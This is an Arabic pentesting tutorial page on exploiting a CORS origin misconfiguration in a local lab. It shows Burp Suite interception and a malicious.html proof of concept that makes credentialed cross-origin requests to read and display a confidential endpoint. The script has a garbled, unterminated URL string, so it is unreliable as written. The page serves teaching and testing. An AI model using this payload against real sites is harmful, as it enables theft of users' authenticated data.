> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/cors-origin-pentesting-web.md).

# سوء تهيئة أصل CORS

### مشاركة الموارد عبر الأصل (CORS):

كل هذه المعلومات متاحة على الموقع الإلكتروني:

<figure><img src="/files/aba091b37827dcf6856b5ce19f20b4a6c1494b20" alt="" width="563"><figcaption></figcaption></figure>

نعترضها باستخدام Burp Suite ونلاحظ أن حقلين "**بيانات اعتماد التحكم في الوصول**" و "**origin**" مهيآن بشكل خاطئ في الاستجابة:

<figure><img src="/files/7db030b9d05febf4fd2b5cd0f7002b709722c7be" alt=""><figcaption></figcaption></figure>

نضيف **حقل origin جديد** في الطلب مع رابط صفحة ويب مثل "google.com" ونلاحظ أنه يتم قبوله:

<figure><img src="/files/082919b356ed20784b6931335a11a1cabdc06701" alt=""><figcaption></figcaption></figure>

ننشئ ملف ويب **malicious.html** يستغل الثغرة باستخدام الحقلين origin و credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>لقد تم اختراقك، هذه هي المعلومات التي سرقتها منك</h1></center>
<p id="stolenInfo"></p>

```

مع **بايثون**، ننشئ خادم ويب:

<figure><img src="/files/6b153a7dd903232c1f2f648d04c62155dd4c4421" alt=""><figcaption></figcaption></figure>

نصل إلى موقعنا الإلكتروني والمعلومات السرية لم يتم **إرسالها إلى موقعنا**:

<figure><img src="/files/69b546a6824ff9957713a2c89472c4bc56e872c9" alt=""><figcaption></figcaption></figure>

لو تم إعداد CORS بشكل صحيح، لكنا تلقينا الخطأ أدناه:

<figure><img src="/files/f10c72d27f586b68e24edae7b39ebf3551b15d1c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/cors-origin-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
